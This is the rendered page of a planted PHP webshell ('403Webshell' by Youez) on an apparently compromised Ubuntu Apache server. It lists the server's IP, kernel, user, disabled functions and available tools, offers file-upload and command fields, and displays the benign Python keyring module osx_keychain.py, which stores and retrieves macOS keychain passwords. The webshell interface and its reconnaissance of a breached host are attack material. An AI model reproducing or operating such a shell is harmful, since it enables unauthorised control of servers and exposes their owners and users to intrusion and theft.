403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /usr/share/pyshared/keyring/backends/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/pyshared/keyring/backends/osx_keychain.py
#!/usr/bin/python

import sys
import subprocess
import re
import binascii

if sys.platform != 'darwin':
    raise ImportError('Mac OS X only module')

def password_set(realmstring, username, password):
    if username is None:
        username = ''
    try:
        # set up the call for security.
        call = subprocess.Popen([
                'security',
                'add-generic-password',
                '-a',
                username,
                '-s',
                realmstring,
                '-w',
                password,
                '-U'
            ],
            stderr = subprocess.PIPE,
            stdout = subprocess.PIPE,
        )
        code = call.wait()
        # check return code.
        if code is not 0:
            raise OSError('Can\'t store password in keychain')
    except:
        raise OSError("Can't store password in keychain")


def password_get(realmstring, username):
    if username is None:
        username = ''
    try:
        # set up the call to security.
        call = subprocess.Popen([
                'security',
                'find-generic-password',
                '-g',
                '-a',
                username,
                '-s',
                realmstring
            ],
            stderr = subprocess.PIPE,
            stdout = subprocess.PIPE,
        )
        code = call.wait()
        if code is not 0:
            raise OSError("Can't fetch password from system")
        output = call.stderr.readlines()[0]
        # check for empty password.
        if output == 'password: \n':
            return ''
        # search for special password pattern.
        matches = re.search('password:(?P<hex>.*?)"(?P<pw>.*)"', output)
        if matches:
            hex = matches.group('hex').strip()
            pw = matches.group('pw')
            if hex:
                # it's a weird hex password, decode it.
                return binascii.unhexlify(hex[2:])
            else:
                # it's a normal password, send it back.
                return pw
        # nothing was found, it doesn't exist.
        return None
    except:
        raise OSError("Can't fetch password from system")

Youez - 2016 - github.com/yon3zu
LinuXploit